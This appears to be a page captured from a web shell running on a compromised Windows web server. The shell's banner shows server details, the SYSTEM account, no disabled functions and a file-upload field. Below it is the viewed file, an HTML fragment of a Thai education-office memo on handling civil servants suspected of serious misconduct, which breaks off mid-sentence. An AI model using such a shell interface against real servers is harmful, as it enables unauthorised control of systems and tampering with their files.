| Server IP : 104.21.80.248 / Your IP : 172.71.28.155 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : E:/Inetpub/www/myoffice/2566/data/tkk1text/ |
Upload File : |
<p> <strong> เรื่องเดิม/ข้อเท็จจริง</strong><br /> ตามที่<span style="font-size: 16px;"><span style="font-family: THSarabunNew;"><span lang="TH" style="text-align: justify;">สำนักงาน ก.พ. ได้กำหนดแนวทางการบริหารแก่ข้าราชการที่มีพฤติการณ์เข้าข่ายกระทำผิดวินัยอย่างร้ายแรง โดยกำชับให้ผู้บังคับบัญชากำกับดูแลให้ข้าราชการประพฤติปฏิบัติตนให้อยู่ในกรอบของคุณธรรม จริยธรรม และวินัย และให้ผู้บังคับบัญชานำมาตรการทางการบริหารมาใช้เป็นเครื่องมือในการดำเนินการแก่ข้าราชการที่มีพฤติการณ์ซึ่งอาจเข้าข่ายเป็นความผิดวินัยอย่างร้ายแรง เพื่อให้ส่วนราชการทราบและถือปฏิบัติ นั้น<br /> สำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน จึงนำแนวทางการบริหารแก่ข้าราชการที่มีพฤติการณ์เข้าข่ายกระทำผิดวินัยอย่างร้ายแรงของสำนักงาน ก.พ. เป็นนโยบายของสำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน เกี่ยวกับทางการแก่ข้าราชการครูและบุคลากรทางการศึกษาสังกัดสำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน ที่มีพฤติการณ์เข้าข่ายกระทำผิดวินัยอย่างร้ายแรง รายละเอียดตามหนังสือสำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน ที่ ศธ ๐๔๒๘๕/ว๒๕๕ ลงวันที่ ๒๑ กุมภาพันธ์ ๒๕๖๖</span></span></span></p> <p> <strong>ข้อกฎหมาย/หนังสือที่เกี่ยวข้อง</strong><br /> <span style="font-family: THSarabunNew; text-align: justify;">หนังสือสำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน ที่ ศธ ๐๔๒๘๕/ว๒๕๕ ลงวันที่ ๒๑ กุมภาพันธ์ ๒๕๖๖</span></p> <p> <strong>ข้อเสนอ/ข้อพิจารณา</strong><br /> เพื่อ</p>